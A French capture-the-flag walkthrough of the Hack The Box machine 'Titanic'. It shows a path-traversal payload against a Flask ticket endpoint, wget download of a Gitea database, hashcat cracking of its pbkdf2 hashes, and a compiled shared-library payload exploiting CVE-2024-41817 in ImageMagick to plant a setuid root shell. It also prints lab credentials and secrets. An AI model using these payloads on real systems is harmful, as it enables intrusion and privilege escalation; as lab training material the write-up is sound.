Skip to the content.

Outline

Foothold

Foothold

Les ports ouverts sont les classiques: 80 et 22.

Le site est très simple en soi.

Il permet notamment de s’inscrire pour la croisière:

Et ensuite un lien est envoyé pour télécharger le fichier avec notre ticket /download?ticket=7aaaab96-e010-4386-b863-f3dbe1c494a9.json. En changeant cette valeur il est possible de télécharger le fichier que l’on souhaite:

/download?ticket=../../../etc/passwd

Cette vulnérabilite est un path traversal doublé d’une local file inclusion, cela nous permet de lire les fichiers du système.

Avec cela il est possible de savoir que developer est utilisateur avec un /home.

Pour ceux qui auraient loupé le sous-domaine dev.titanic.htb. La page principale ne montre pas grand chose, elle permet de s’inscrire et se login. Elle montre aussi la version du site, 1.22.1, qui s’avère finalement inutile (seule une XSS est possible).

Une fois inscrit sur le site, n’importe qui a accès aux repos de developer, qui contiennent des identifiants:

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Ainsi qu’un fichier de configuration gitea:

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

Et pour couronner le tout le code de l’application flask

from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Dans le dossier de tickets deux tickets sont déjà créés, ce qui permet de récupérer des identifiants:

{"name": "Rose DeWitt Bukater", "email": "rose.bukater@titanic.htb", "phone": "643-999-021", "date": "2024-08-22", "cabin": "Suite"}

et

{"name": "Jack Dawson", "email": "jack.dawson@titanic.htb", "phone": "555-123-4567", "date": "2024-08-23", "cabin": "Standard"}

Les identifiants donnés jusqu’à maintenant:

A partir de ces infos il est possible aussi de lire le fichier /home/developer/gitea/data/gitea/conf/app.ini pour y trouver quelques infos.

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

Cette fois le fichier de configuration donne un indice sur la base de données, qu’il est possible de télécharger avec

wget http://titanic.htb/download\?ticket\=../../../home/developer/gitea/data/gitea/gitea.db -O gitea.db

Puis de lire dans sqlite3:

select * from user;

Pour obtenir.

1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0

2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0

3|guest|guest||email@email.com|0|enabled|76c0dfd39edbfb2111be60b71c7c33d645ed7a3b7295fb04357a60398b2d24a8860930be4bd89e9a032a50b8a0710d971184|pbkdf2$50000$50|0|0|0||0|||5e356ef176a4f33f118fa89d6c208b31|f6211670b5b38f54119066257b18f799|en-US||1776171040|1776171040|1776171040|0|-1|1|0|0|0|0|1|0|4f64c9f81bb0d4ee969aaf7b4a5a6f40|email@email.com|0|0|0|0|0|0|0|0|0||gitea-auto|0

Il est possible de récupérer l’ordre de ces infos dans la base de données avec

.schema user

Avec ça il est possible de trouver les hash et les salt:

echo "developer:sha256:50000:$(echo -n '8bf3e3452b78544f8bee9400d6936d34' | xxd -r -p | base64):$(echo -n 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' | xxd -r -p | base64)" > hashes.txt
hashcat -a 0 -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt --username

(Il faut commencer avec developer ici, qui a l’air plus intéressant)

Tout cela nous donne les identifiants developer:25282528, et ainsi l’accès ssh.

PrivEsc to root

linpeas remarque automatiquement deux dossiers dans lesquels on peut écrire:

/opt/app/static/assets/images
/opt/app/tickets

Et dans la partie des fichiers ajoutés par l’utilisateur, linpeas soulève

/opt/scripts/identify_images.sh

Fichier qui contient le code suivant:

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Le fichier metadata.log a d’ailleurs été modifié récemment, la dernière fois que l’on a interagit avec le site précisemment.

Le script en lui-même n’est pas vulnérable en entier, il utilise magick dans une version qui est vulnérable à CVE-2024-41817 qui consiste à poser une librairie partagée dans le dossier d’exécution, dossier sur lequel on a des droits privilégiés.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/rootshell; chmod 7777 /tmp/rootshell");
    exit(0);
}
EOF

Et avec ça compilé dès le lancement du cron le shell sera créé et accessible.